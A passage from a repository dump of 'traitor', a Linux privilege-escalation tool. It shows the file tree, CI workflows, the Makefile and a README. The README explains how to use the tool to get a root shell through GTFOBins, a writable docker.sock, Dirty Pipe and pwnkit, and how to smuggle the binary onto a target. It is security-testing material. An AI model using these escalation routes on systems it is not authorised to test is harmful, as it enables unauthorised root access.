Showing preview only (8,079K chars total). Download the full file or copy to clipboard to get everything.
Repository: liamg/traitor
Branch: main
Commit: 0d221ba0d0e6
Files: 567
Total size: 7.6 MB
Directory structure:
gitextract_h4e8y7u2/
├── .github/
│ ├── FUNDING.yml
│ └── workflows/
│ ├── antispam.yml
│ ├── pr.yml
│ └── release.yml
├── .gitignore
├── LICENSE
├── Makefile
├── README.md
├── cmd/
│ ├── pack/
│ │ └── main.go
│ └── traitor/
│ └── main.go
├── go.mod
├── go.sum
├── internal/
│ ├── cmd/
│ │ ├── backdoor.go
│ │ ├── list.go
│ │ ├── root.go
│ │ └── setuid.go
│ ├── pipe/
│ │ └── pipe.go
│ └── version/
│ └── version.go
├── pkg/
│ ├── backdoor/
│ │ └── traitor.go
│ ├── exploits/
│ │ ├── all.go
│ │ ├── cve20213560/
│ │ │ └── exploit.go
│ │ ├── cve20214034/
│ │ │ ├── exploit.go
│ │ │ ├── sharedobject_sh_386.go
│ │ │ ├── sharedobject_sh_amd64.go
│ │ │ ├── sharedobject_sh_arm64.go
│ │ │ ├── sharedobject_true_386.go
│ │ │ ├── sharedobject_true_amd64.go
│ │ │ └── sharedobject_true_arm64.go
│ │ ├── cve20220847/
│ │ │ └── exploit.go
│ │ ├── dockersock/
│ │ │ └── exploit.go
│ │ ├── gtfobins.go
│ │ ├── registration.go
│ │ └── types.go
│ ├── logger/
│ │ └── logger.go
│ ├── payloads/
│ │ └── payloads.go
│ ├── random/
│ │ └── filename.go
│ ├── shell/
│ │ └── password.go
│ └── state/
│ ├── distro.go
│ ├── kernel.go
│ ├── packages.go
│ ├── state.go
│ └── sudoers.go
└── vendor/
├── github.com/
│ ├── creack/
│ │ └── pty/
│ │ ├── .gitignore
│ │ ├── Dockerfile.golang
│ │ ├── Dockerfile.riscv
│ │ ├── LICENSE
│ │ ├── README.md
│ │ ├── asm_solaris_amd64.s
│ │ ├── doc.go
│ │ ├── ioctl.go
│ │ ├── ioctl_bsd.go
│ │ ├── ioctl_solaris.go
│ │ ├── ioctl_unsupported.go
│ │ ├── mktypes.bash
│ │ ├── pty_darwin.go
│ │ ├── pty_dragonfly.go
│ │ ├── pty_freebsd.go
│ │ ├── pty_linux.go
│ │ ├── pty_netbsd.go
│ │ ├── pty_openbsd.go
│ │ ├── pty_solaris.go
│ │ ├── pty_unsupported.go
│ │ ├── run.go
│ │ ├── start.go
│ │ ├── start_windows.go
│ │ ├── test_crosscompile.sh
│ │ ├── winsize.go
│ │ ├── winsize_unix.go
│ │ ├── winsize_unsupported.go
│ │ ├── ztypes_386.go
│ │ ├── ztypes_amd64.go
│ │ ├── ztypes_arm.go
│ │ ├── ztypes_arm64.go
│ │ ├── ztypes_dragonfly_amd64.go
│ │ ├── ztypes_freebsd_386.go
│ │ ├── ztypes_freebsd_amd64.go
│ │ ├── ztypes_freebsd_arm.go
│ │ ├── ztypes_freebsd_arm64.go
│ │ ├── ztypes_freebsd_ppc64.go
│ │ ├── ztypes_loong64.go
│ │ ├── ztypes_mipsx.go
│ │ ├── ztypes_netbsd_32bit_int.go
│ │ ├── ztypes_openbsd_32bit_int.go
│ │ ├── ztypes_ppc64.go
│ │ ├── ztypes_ppc64le.go
│ │ ├── ztypes_riscvx.go
│ │ └── ztypes_s390x.go
│ ├── google/
│ │ └── uuid/
│ │ ├── .travis.yml
│ │ ├── CONTRIBUTING.md
│ │ ├── CONTRIBUTORS
│ │ ├── LICENSE
│ │ ├── README.md
│ │ ├── dce.go
│ │ ├── doc.go
│ │ ├── hash.go
│ │ ├── marshal.go
│ │ ├── node.go
│ │ ├── node_js.go
│ │ ├── node_net.go
│ │ ├── null.go
│ │ ├── sql.go
│ │ ├── time.go
│ │ ├── util.go
│ │ ├── uuid.go
│ │ ├── version1.go
│ │ └── version4.go
│ ├── hashicorp/
│ │ └── go-version/
│ │ ├── CHANGELOG.md
│ │ ├── LICENSE
│ │ ├── README.md
│ │ ├── constraint.go
│ │ ├── version.go
│ │ └── version_collection.go
│ ├── inconshreveable/
│ │ └── mousetrap/
│ │ ├── LICENSE
│ │ ├── README.md
│ │ ├── trap_others.go
│ │ ├── trap_windows.go
│ │ └── trap_windows_1.4.go
│ ├── liamg/
│ │ └── tml/
│ │ ├── .gitignore
│ │ ├── .travis.yml
│ │ ├── LICENSE
│ │ ├── Makefile
│ │ ├── README.md
│ │ ├── disable.go
│ │ ├── new_line.go
│ │ ├── parse.go
│ │ ├── parser.go
│ │ ├── printf.go
│ │ ├── println.go
│ │ ├── sprintf.go
│ │ └── tags.go
│ └── spf13/
│ ├── cobra/
│ │ ├── .gitignore
│ │ ├── .golangci.yml
│ │ ├── .mailmap
│ │ ├── CONDUCT.md
│ │ ├── CONTRIBUTING.md
│ │ ├── LICENSE.txt
│ │ ├── MAINTAINERS
│ │ ├── Makefile
│ │ ├── README.md
│ │ ├── active_help.go
│ │ ├── active_help.md
│ │ ├── args.go
│ │ ├── bash_completions.go
│ │ ├── bash_completions.md
│ │ ├── bash_completionsV2.go
│ │ ├── cobra.go
│ │ ├── command.go
│ │ ├── command_notwin.go
│ │ ├── command_win.go
│ │ ├── completions.go
│ │ ├── fish_completions.go
│ │ ├── fish_completions.md
│ │ ├── flag_groups.go
│ │ ├── powershell_completions.go
│ │ ├── powershell_completions.md
│ │ ├── projects_using_cobra.md
│ │ ├── shell_completions.go
│ │ ├── shell_completions.md
│ │ ├── user_guide.md
│ │ ├── zsh_completions.go
│ │ └── zsh_completions.md
│ └── pflag/
│ ├── .gitignore
│ ├── .travis.yml
│ ├── LICENSE
│ ├── README.md
│ ├── bool.go
│ ├── bool_slice.go
│ ├── bytes.go
│ ├── count.go
│ ├── duration.go
│ ├── duration_slice.go
│ ├── flag.go
│ ├── float32.go
│ ├── float32_slice.go
│ ├── float64.go
│ ├── float64_slice.go
│ ├── golangflag.go
│ ├── int.go
│ ├── int16.go
│ ├── int32.go
│ ├── int32_slice.go
│ ├── int64.go
│ ├── int64_slice.go
│ ├── int8.go
│ ├── int_slice.go
│ ├── ip.go
│ ├── ip_slice.go
│ ├── ipmask.go
│ ├── ipnet.go
│ ├── string.go
│ ├── string_array.go
│ ├── string_slice.go
│ ├── string_to_int.go
│ ├── string_to_int64.go
│ ├── string_to_string.go
│ ├── uint.go
│ ├── uint16.go
│ ├── uint32.go
│ ├── uint64.go
│ ├── uint8.go
│ └── uint_slice.go
├── golang.org/
│ └── x/
│ ├── crypto/
│ │ ├── AUTHORS
│ │ ├── CONTRIBUTORS
│ │ ├── LICENSE
│ │ ├── PATENTS
│ │ └── ssh/
│ │ └── terminal/
│ │ └── terminal.go
│ ├── sys/
│ │ ├── AUTHORS
│ │ ├── CONTRIBUTORS
│ │ ├── LICENSE
│ │ ├── PATENTS
│ │ ├── internal/
│ │ │ └── unsafeheader/
│ │ │ └── unsafeheader.go
│ │ ├── plan9/
│ │ │ ├── asm.s
│ │ │ ├── asm_plan9_386.s
│ │ │ ├── asm_plan9_amd64.s
│ │ │ ├── asm_plan9_arm.s
│ │ │ ├── const_plan9.go
│ │ │ ├── dir_plan9.go
│ │ │ ├── env_plan9.go
│ │ │ ├── errors_plan9.go
│ │ │ ├── mkall.sh
│ │ │ ├── mkerrors.sh
│ │ │ ├── mksysnum_plan9.sh
│ │ │ ├── pwd_go15_plan9.go
│ │ │ ├── pwd_plan9.go
│ │ │ ├── race.go
│ │ │ ├── race0.go
│ │ │ ├── str.go
│ │ │ ├── syscall.go
│ │ │ ├── syscall_plan9.go
│ │ │ ├── zsyscall_plan9_386.go
│ │ │ ├── zsyscall_plan9_amd64.go
│ │ │ ├── zsyscall_plan9_arm.go
│ │ │ └── zsysnum_plan9.go
│ │ ├── unix/
│ │ │ ├── .gitignore
│ │ │ ├── README.md
│ │ │ ├── affinity_linux.go
│ │ │ ├── aliases.go
│ │ │ ├── asm_aix_ppc64.s
│ │ │ ├── asm_bsd_386.s
│ │ │ ├── asm_bsd_amd64.s
│ │ │ ├── asm_bsd_arm.s
│ │ │ ├── asm_bsd_arm64.s
│ │ │ ├── asm_linux_386.s
│ │ │ ├── asm_linux_amd64.s
│ │ │ ├── asm_linux_arm.s
│ │ │ ├── asm_linux_arm64.s
│ │ │ ├── asm_linux_loong64.s
│ │ │ ├── asm_linux_mips64x.s
│ │ │ ├── asm_linux_mipsx.s
│ │ │ ├── asm_linux_ppc64x.s
│ │ │ ├── asm_linux_riscv64.s
│ │ │ ├── asm_linux_s390x.s
│ │ │ ├── asm_openbsd_mips64.s
│ │ │ ├── asm_solaris_amd64.s
│ │ │ ├── asm_zos_s390x.s
│ │ │ ├── bluetooth_linux.go
│ │ │ ├── cap_freebsd.go
│ │ │ ├── constants.go
│ │ │ ├── dev_aix_ppc.go
│ │ │ ├── dev_aix_ppc64.go
│ │ │ ├── dev_darwin.go
│ │ │ ├── dev_dragonfly.go
│ │ │ ├── dev_freebsd.go
│ │ │ ├── dev_linux.go
│ │ │ ├── dev_netbsd.go
│ │ │ ├── dev_openbsd.go
│ │ │ ├── dev_zos.go
│ │ │ ├── dirent.go
│ │ │ ├── endian_big.go
│ │ │ ├── endian_little.go
│ │ │ ├── env_unix.go
│ │ │ ├── epoll_zos.go
│ │ │ ├── errors_freebsd_386.go
│ │ │ ├── errors_freebsd_amd64.go
│ │ │ ├── errors_freebsd_arm.go
│ │ │ ├── errors_freebsd_arm64.go
│ │ │ ├── fcntl.go
│ │ │ ├── fcntl_darwin.go
│ │ │ ├── fcntl_linux_32bit.go
│ │ │ ├── fdset.go
│ │ │ ├── fstatfs_zos.go
│ │ │ ├── gccgo.go
│ │ │ ├── gccgo_c.c
│ │ │ ├── gccgo_linux_amd64.go
│ │ │ ├── ifreq_linux.go
│ │ │ ├── ioctl.go
│ │ │ ├── ioctl_linux.go
│ │ │ ├── ioctl_zos.go
│ │ │ ├── mkall.sh
│ │ │ ├── mkerrors.sh
│ │ │ ├── pagesize_unix.go
│ │ │ ├── pledge_openbsd.go
│ │ │ ├── ptrace_darwin.go
│ │ │ ├── ptrace_ios.go
│ │ │ ├── race.go
│ │ │ ├── race0.go
│ │ │ ├── readdirent_getdents.go
│ │ │ ├── readdirent_getdirentries.go
│ │ │ ├── sockcmsg_dragonfly.go
│ │ │ ├── sockcmsg_linux.go
│ │ │ ├── sockcmsg_unix.go
│ │ │ ├── sockcmsg_unix_other.go
│ │ │ ├── str.go
│ │ │ ├── syscall.go
│ │ │ ├── syscall_aix.go
│ │ │ ├── syscall_aix_ppc.go
│ │ │ ├── syscall_aix_ppc64.go
│ │ │ ├── syscall_bsd.go
│ │ │ ├── syscall_darwin.1_12.go
│ │ │ ├── syscall_darwin.1_13.go
│ │ │ ├── syscall_darwin.go
│ │ │ ├── syscall_darwin_amd64.go
│ │ │ ├── syscall_darwin_arm64.go
│ │ │ ├── syscall_darwin_libSystem.go
│ │ │ ├── syscall_dragonfly.go
│ │ │ ├── syscall_dragonfly_amd64.go
│ │ │ ├── syscall_freebsd.go
│ │ │ ├── syscall_freebsd_386.go
│ │ │ ├── syscall_freebsd_amd64.go
│ │ │ ├── syscall_freebsd_arm.go
│ │ │ ├── syscall_freebsd_arm64.go
│ │ │ ├── syscall_illumos.go
│ │ │ ├── syscall_linux.go
│ │ │ ├── syscall_linux_386.go
│ │ │ ├── syscall_linux_alarm.go
│ │ │ ├── syscall_linux_amd64.go
│ │ │ ├── syscall_linux_amd64_gc.go
│ │ │ ├── syscall_linux_arm.go
│ │ │ ├── syscall_linux_arm64.go
│ │ │ ├── syscall_linux_gc.go
│ │ │ ├── syscall_linux_gc_386.go
│ │ │ ├── syscall_linux_gc_arm.go
│ │ │ ├── syscall_linux_gccgo_386.go
│ │ │ ├── syscall_linux_gccgo_arm.go
│ │ │ ├── syscall_linux_loong64.go
│ │ │ ├── syscall_linux_mips64x.go
│ │ │ ├── syscall_linux_mipsx.go
│ │ │ ├── syscall_linux_ppc.go
│ │ │ ├── syscall_linux_ppc64x.go
│ │ │ ├── syscall_linux_riscv64.go
│ │ │ ├── syscall_linux_s390x.go
│ │ │ ├── syscall_linux_sparc64.go
│ │ │ ├── syscall_netbsd.go
│ │ │ ├── syscall_netbsd_386.go
│ │ │ ├── syscall_netbsd_amd64.go
│ │ │ ├── syscall_netbsd_arm.go
│ │ │ ├── syscall_netbsd_arm64.go
│ │ │ ├── syscall_openbsd.go
│ │ │ ├── syscall_openbsd_386.go
│ │ │ ├── syscall_openbsd_amd64.go
│ │ │ ├── syscall_openbsd_arm.go
│ │ │ ├── syscall_openbsd_arm64.go
│ │ │ ├── syscall_openbsd_mips64.go
│ │ │ ├── syscall_solaris.go
│ │ │ ├── syscall_solaris_amd64.go
│ │ │ ├── syscall_unix.go
│ │ │ ├── syscall_unix_gc.go
│ │ │ ├── syscall_unix_gc_ppc64x.go
│ │ │ ├── syscall_zos_s390x.go
│ │ │ ├── sysvshm_linux.go
│ │ │ ├── sysvshm_unix.go
│ │ │ ├── sysvshm_unix_other.go
│ │ │ ├── timestruct.go
│ │ │ ├── unveil_openbsd.go
│ │ │ ├── xattr_bsd.go
│ │ │ ├── zerrors_aix_ppc.go
│ │ │ ├── zerrors_aix_ppc64.go
│ │ │ ├── zerrors_darwin_amd64.go
│ │ │ ├── zerrors_darwin_arm64.go
│ │ │ ├── zerrors_dragonfly_amd64.go
│ │ │ ├── zerrors_freebsd_386.go
│ │ │ ├── zerrors_freebsd_amd64.go
│ │ │ ├── zerrors_freebsd_arm.go
│ │ │ ├── zerrors_freebsd_arm64.go
│ │ │ ├── zerrors_linux.go
│ │ │ ├── zerrors_linux_386.go
│ │ │ ├── zerrors_linux_amd64.go
│ │ │ ├── zerrors_linux_arm.go
│ │ │ ├── zerrors_linux_arm64.go
│ │ │ ├── zerrors_linux_loong64.go
│ │ │ ├── zerrors_linux_mips.go
│ │ │ ├── zerrors_linux_mips64.go
│ │ │ ├── zerrors_linux_mips64le.go
│ │ │ ├── zerrors_linux_mipsle.go
│ │ │ ├── zerrors_linux_ppc.go
│ │ │ ├── zerrors_linux_ppc64.go
│ │ │ ├── zerrors_linux_ppc64le.go
│ │ │ ├── zerrors_linux_riscv64.go
│ │ │ ├── zerrors_linux_s390x.go
│ │ │ ├── zerrors_linux_sparc64.go
│ │ │ ├── zerrors_netbsd_386.go
│ │ │ ├── zerrors_netbsd_amd64.go
│ │ │ ├── zerrors_netbsd_arm.go
│ │ │ ├── zerrors_netbsd_arm64.go
│ │ │ ├── zerrors_openbsd_386.go
│ │ │ ├── zerrors_openbsd_amd64.go
│ │ │ ├── zerrors_openbsd_arm.go
│ │ │ ├── zerrors_openbsd_arm64.go
│ │ │ ├── zerrors_openbsd_mips64.go
│ │ │ ├── zerrors_solaris_amd64.go
│ │ │ ├── zerrors_zos_s390x.go
│ │ │ ├── zptrace_armnn_linux.go
│ │ │ ├── zptrace_linux_arm64.go
│ │ │ ├── zptrace_mipsnn_linux.go
│ │ │ ├── zptrace_mipsnnle_linux.go
│ │ │ ├── zptrace_x86_linux.go
│ │ │ ├── zsyscall_aix_ppc.go
│ │ │ ├── zsyscall_aix_ppc64.go
│ │ │ ├── zsyscall_aix_ppc64_gc.go
│ │ │ ├── zsyscall_aix_ppc64_gccgo.go
│ │ │ ├── zsyscall_darwin_amd64.1_13.go
│ │ │ ├── zsyscall_darwin_amd64.1_13.s
│ │ │ ├── zsyscall_darwin_amd64.go
│ │ │ ├── zsyscall_darwin_amd64.s
│ │ │ ├── zsyscall_darwin_arm64.1_13.go
│ │ │ ├── zsyscall_darwin_arm64.1_13.s
│ │ │ ├── zsyscall_darwin_arm64.go
│ │ │ ├── zsyscall_darwin_arm64.s
│ │ │ ├── zsyscall_dragonfly_amd64.go
│ │ │ ├── zsyscall_freebsd_386.go
│ │ │ ├── zsyscall_freebsd_amd64.go
│ │ │ ├── zsyscall_freebsd_arm.go
│ │ │ ├── zsyscall_freebsd_arm64.go
│ │ │ ├── zsyscall_illumos_amd64.go
│ │ │ ├── zsyscall_linux.go
│ │ │ ├── zsyscall_linux_386.go
│ │ │ ├── zsyscall_linux_amd64.go
│ │ │ ├── zsyscall_linux_arm.go
│ │ │ ├── zsyscall_linux_arm64.go
│ │ │ ├── zsyscall_linux_loong64.go
│ │ │ ├── zsyscall_linux_mips.go
│ │ │ ├── zsyscall_linux_mips64.go
│ │ │ ├── zsyscall_linux_mips64le.go
│ │ │ ├── zsyscall_linux_mipsle.go
│ │ │ ├── zsyscall_linux_ppc.go
│ │ │ ├── zsyscall_linux_ppc64.go
│ │ │ ├── zsyscall_linux_ppc64le.go
│ │ │ ├── zsyscall_linux_riscv64.go
│ │ │ ├── zsyscall_linux_s390x.go
│ │ │ ├── zsyscall_linux_sparc64.go
│ │ │ ├── zsyscall_netbsd_386.go
│ │ │ ├── zsyscall_netbsd_amd64.go
│ │ │ ├── zsyscall_netbsd_arm.go
│ │ │ ├── zsyscall_netbsd_arm64.go
│ │ │ ├── zsyscall_openbsd_386.go
│ │ │ ├── zsyscall_openbsd_amd64.go
│ │ │ ├── zsyscall_openbsd_arm.go
│ │ │ ├── zsyscall_openbsd_arm64.go
│ │ │ ├── zsyscall_openbsd_mips64.go
│ │ │ ├── zsyscall_solaris_amd64.go
│ │ │ ├── zsyscall_zos_s390x.go
│ │ │ ├── zsysctl_openbsd_386.go
│ │ │ ├── zsysctl_openbsd_amd64.go
│ │ │ ├── zsysctl_openbsd_arm.go
│ │ │ ├── zsysctl_openbsd_arm64.go
│ │ │ ├── zsysctl_openbsd_mips64.go
│ │ │ ├── zsysnum_darwin_amd64.go
│ │ │ ├── zsysnum_darwin_arm64.go
│ │ │ ├── zsysnum_dragonfly_amd64.go
│ │ │ ├── zsysnum_freebsd_386.go
│ │ │ ├── zsysnum_freebsd_amd64.go
│ │ │ ├── zsysnum_freebsd_arm.go
│ │ │ ├── zsysnum_freebsd_arm64.go
│ │ │ ├── zsysnum_linux_386.go
│ │ │ ├── zsysnum_linux_amd64.go
│ │ │ ├── zsysnum_linux_arm.go
│ │ │ ├── zsysnum_linux_arm64.go
│ │ │ ├── zsysnum_linux_loong64.go
│ │ │ ├── zsysnum_linux_mips.go
│ │ │ ├── zsysnum_linux_mips64.go
│ │ │ ├── zsysnum_linux_mips64le.go
│ │ │ ├── zsysnum_linux_mipsle.go
│ │ │ ├── zsysnum_linux_ppc.go
│ │ │ ├── zsysnum_linux_ppc64.go
│ │ │ ├── zsysnum_linux_ppc64le.go
│ │ │ ├── zsysnum_linux_riscv64.go
│ │ │ ├── zsysnum_linux_s390x.go
│ │ │ ├── zsysnum_linux_sparc64.go
│ │ │ ├── zsysnum_netbsd_386.go
│ │ │ ├── zsysnum_netbsd_amd64.go
│ │ │ ├── zsysnum_netbsd_arm.go
│ │ │ ├── zsysnum_netbsd_arm64.go
│ │ │ ├── zsysnum_openbsd_386.go
│ │ │ ├── zsysnum_openbsd_amd64.go
│ │ │ ├── zsysnum_openbsd_arm.go
│ │ │ ├── zsysnum_openbsd_arm64.go
│ │ │ ├── zsysnum_openbsd_mips64.go
│ │ │ ├── zsysnum_zos_s390x.go
│ │ │ ├── ztypes_aix_ppc.go
│ │ │ ├── ztypes_aix_ppc64.go
│ │ │ ├── ztypes_darwin_amd64.go
│ │ │ ├── ztypes_darwin_arm64.go
│ │ │ ├── ztypes_dragonfly_amd64.go
│ │ │ ├── ztypes_freebsd_386.go
│ │ │ ├── ztypes_freebsd_amd64.go
│ │ │ ├── ztypes_freebsd_arm.go
│ │ │ ├── ztypes_freebsd_arm64.go
│ │ │ ├── ztypes_illumos_amd64.go
│ │ │ ├── ztypes_linux.go
│ │ │ ├── ztypes_linux_386.go
│ │ │ ├── ztypes_linux_amd64.go
│ │ │ ├── ztypes_linux_arm.go
│ │ │ ├── ztypes_linux_arm64.go
│ │ │ ├── ztypes_linux_loong64.go
│ │ │ ├── ztypes_linux_mips.go
│ │ │ ├── ztypes_linux_mips64.go
│ │ │ ├── ztypes_linux_mips64le.go
│ │ │ ├── ztypes_linux_mipsle.go
│ │ │ ├── ztypes_linux_ppc.go
│ │ │ ├── ztypes_linux_ppc64.go
│ │ │ ├── ztypes_linux_ppc64le.go
│ │ │ ├── ztypes_linux_riscv64.go
│ │ │ ├── ztypes_linux_s390x.go
│ │ │ ├── ztypes_linux_sparc64.go
│ │ │ ├── ztypes_netbsd_386.go
│ │ │ ├── ztypes_netbsd_amd64.go
│ │ │ ├── ztypes_netbsd_arm.go
│ │ │ ├── ztypes_netbsd_arm64.go
│ │ │ ├── ztypes_openbsd_386.go
│ │ │ ├── ztypes_openbsd_amd64.go
│ │ │ ├── ztypes_openbsd_arm.go
│ │ │ ├── ztypes_openbsd_arm64.go
│ │ │ ├── ztypes_openbsd_mips64.go
│ │ │ ├── ztypes_solaris_amd64.go
│ │ │ └── ztypes_zos_s390x.go
│ │ └── windows/
│ │ ├── aliases.go
│ │ ├── dll_windows.go
│ │ ├── empty.s
│ │ ├── env_windows.go
│ │ ├── eventlog.go
│ │ ├── exec_windows.go
│ │ ├── memory_windows.go
│ │ ├── mkerrors.bash
│ │ ├── mkknownfolderids.bash
│ │ ├── mksyscall.go
│ │ ├── race.go
│ │ ├── race0.go
│ │ ├── security_windows.go
│ │ ├── service.go
│ │ ├── setupapi_windows.go
│ │ ├── str.go
│ │ ├── syscall.go
│ │ ├── syscall_windows.go
│ │ ├── types_windows.go
│ │ ├── types_windows_386.go
│ │ ├── types_windows_amd64.go
│ │ ├── types_windows_arm.go
│ │ ├── types_windows_arm64.go
│ │ ├── zerrors_windows.go
│ │ ├── zknownfolderids_windows.go
│ │ └── zsyscall_windows.go
│ └── term/
│ ├── AUTHORS
│ ├── CONTRIBUTING.md
│ ├── CONTRIBUTORS
│ ├── LICENSE
│ ├── PATENTS
│ ├── README.md
│ ├── codereview.cfg
│ ├── term.go
│ ├── term_plan9.go
│ ├── term_unix.go
│ ├── term_unix_bsd.go
│ ├── term_unix_other.go
│ ├── term_unsupported.go
│ ├── term_windows.go
│ └── terminal.go
└── modules.txt
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/FUNDING.yml
================================================
github: [liamg]
================================================
FILE: .github/workflows/antispam.yml
================================================
name: antispam
on:
issues:
types:
- opened
- edited
- reopened
pull_request:
types:
- opened
- edited
- reopened
- synchronize
permissions:
pull-requests: write
issues: write
jobs:
build:
name: Antispam
runs-on: ubuntu-latest
steps:
- uses: liamg/antispam-action@1
with:
token: ${{ github.token }}
================================================
FILE: .github/workflows/pr.yml
================================================
on: [pull_request]
name: Test
jobs:
test:
strategy:
matrix:
go-version: [1.18.x]
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
steps:
- name: Install Go
uses: actions/setup-go@v2
with:
go-version: ${{ matrix.go-version }}
- name: Checkout code
uses: actions/checkout@v2
- name: Test
run: go test ./... -race -cover
================================================
FILE: .github/workflows/release.yml
================================================
name: Test and Release
on:
push:
# Sequence of patterns matched against refs/tags
tags:
- 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10
jobs:
build:
strategy:
matrix:
arch: [ amd64, arm64, 386 ]
runs-on: ubuntu-latest
steps:
- name: Install Go
uses: actions/setup-go@v2
with:
go-version: 1.18.x
- name: Checkout code
uses: actions/checkout@v2
- name: Test
run: make test
- name: Build
run: CGO_ENABLED=0 GOARCH=${{ matrix.arch }} go build -ldflags "-X github.com/liamg/traitor/internal/version.Version=`echo '${{ github.ref }}' | awk -F'/' '{print $3}'`" -o traitor-${{ matrix.arch }} ./cmd/traitor
- name: Upload result
uses: actions/upload-artifact@v2-preview
with:
name: traitor-${{ matrix.arch }}
path: traitor-${{ matrix.arch }}
release:
needs: [build]
runs-on: ubuntu-latest
steps:
- name: Get tag name
id: get_tag_name
run: echo ::set-output name=VERSION::${GITHUB_REF/refs\/tags\//}
- name: Create Release
id: create_release
uses: actions/create-release@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
# name the release with the run_id to allow multiple builds on the same branch/tag
# https://github.com/actions/create-release/issues/2#issuecomment-613591846
tag_name: ${{ steps.get_tag_name.outputs.VERSION }}
release_name: Release ${{ steps.get_tag_name.outputs.VERSION }}
draft: false
prerelease: false
- uses: actions/download-artifact@v1
with:
name: traitor-amd64
continue-on-error: true
- name: Upload Release Asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.create_release.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
asset_path: ./traitor-amd64/traitor-amd64
asset_name: traitor-amd64
asset_content_type: application/octen-stream
continue-on-error: true
- uses: actions/download-artifact@v1
with:
name: traitor-arm64
continue-on-error: true
- name: Upload Release Asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.create_release.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
asset_path: ./traitor-arm64/traitor-arm64
asset_name: traitor-arm64
asset_content_type: application/octen-stream
continue-on-error: true
- uses: actions/download-artifact@v1
with:
name: traitor-386
continue-on-error: true
- name: Upload Release Asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.create_release.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
asset_path: ./traitor-386/traitor-386
asset_name: traitor-386
asset_content_type: application/octen-stream
continue-on-error: true
================================================
FILE: .gitignore
================================================
/traitor
.idea
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2021 Liam Galvin
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: Makefile
================================================
.PHONY: build
build:
CGO_ENABLED=0 go build ./cmd/traitor
.PHONY: pack
pack:
go run ./cmd/pack
.PHONY: install
install:
CGO_ENABLED=0 go install -ldflags "-X github.com/liamg/traitor/version.Version=`git describe --tags`" ./cmd/traitor
.PHONY: test
test:
go test ./... -race -cover
================================================
FILE: README.md
================================================
# Traitor
Automatically exploit low-hanging fruit to pop a root shell. Linux privilege escalation made easy!
Traitor packages up a bunch of methods to exploit local misconfigurations and vulnerabilities in order to pop a root shell:
- Nearly all of [GTFOBins](https://gtfobins.github.io/)
- Writeable docker.sock
- CVE-2022-0847 (Dirty pipe)
- CVE-2021-4034 (pwnkit)
- CVE-2021-3560

It'll exploit most sudo privileges listed in GTFOBins to pop a root shell, as well as exploiting issues like a writable `docker.sock`, or the recent dirty pipe (CVE-2022-0847). More routes to root will be added over time too.
## Usage
Run with no arguments to find potential vulnerabilities/misconfigurations which could allow privilege escalation. Add the `-p` flag if the current user password is known. The password will be requested if it's needed to analyse sudo permissions etc.
```bash
traitor -p
```
Run with the `-a`/`--any` flag to find potential vulnerabilities, attempting to exploit each, stopping if a root shell is gained. Again, add the `-p` flag if the current user password is known.
```bash
traitor -a -p
```
Run with the `-e`/`--exploit` flag to attempt to exploit a specific vulnerability and gain a root shell.
```bash
traitor -p -e docker:writable-socket
```
## Supported Platforms
Traitor will run on all Unix-like systems, though certain exploits will only function on certain systems.
## Getting Traitor
Grab a binary from the [releases page](https://github.com/liamg/traitor/releases), or use go:
```
CGO_ENABLED=0 go get -u github.com/liamg/traitor/cmd/traitor
```
For go1.18:
```
CGO_ENABLED=0 go install github.com/liamg/traitor/cmd/traitor@latest
```
If the machine you're attempting privesc on cannot reach GitHub to download the binary, and you have no way to upload the binary to the machine over SCP/FTP etc., then you can try base64 encoding the binary on your machine, and echoing the base64 encoded string to `| base64 -d > /tmp/traitor` on the target machine, remembering to `chmod +x` it once it arrives.
## In The News
- 20/06/21: [Console 58](https://console.substack.com/p/console-58) - Awesome newsletter featuring tools and beta releases for developers.
- 28/04/21: [Intigriti Bug Bytes #120](https://blog.intigriti.com/2021/04/28/bug-bytes-120-macos-pwned-homebrew-rce-the-worlds-shortest-backdoor/) - Recommended tools
- 09/03/21: [Hacker News thread](https://news.ycombinator.com/item?id=26224719)
================================================
FILE: cmd/pack/main.go
================================================
package main
import (
"bytes"
"fmt"
"io/ioutil"
"os"
"os/exec"
"path/filepath"
)
const outputDir = "./pkg/exploits/cve20214034"
func main() {
if err := buildPwnkitSharedObjects(); err != nil {
panic(err)
}
}
func buildPwnkitSharedObjects() error {
for _, platform := range []struct {
goarch string
binary string
args []string
}{
{
goarch: "amd64",
binary: "gcc",
args: []string{"-Wall", "--shared", "-fPIC", "-o"},
},
{
goarch: "386",
binary: "gcc",
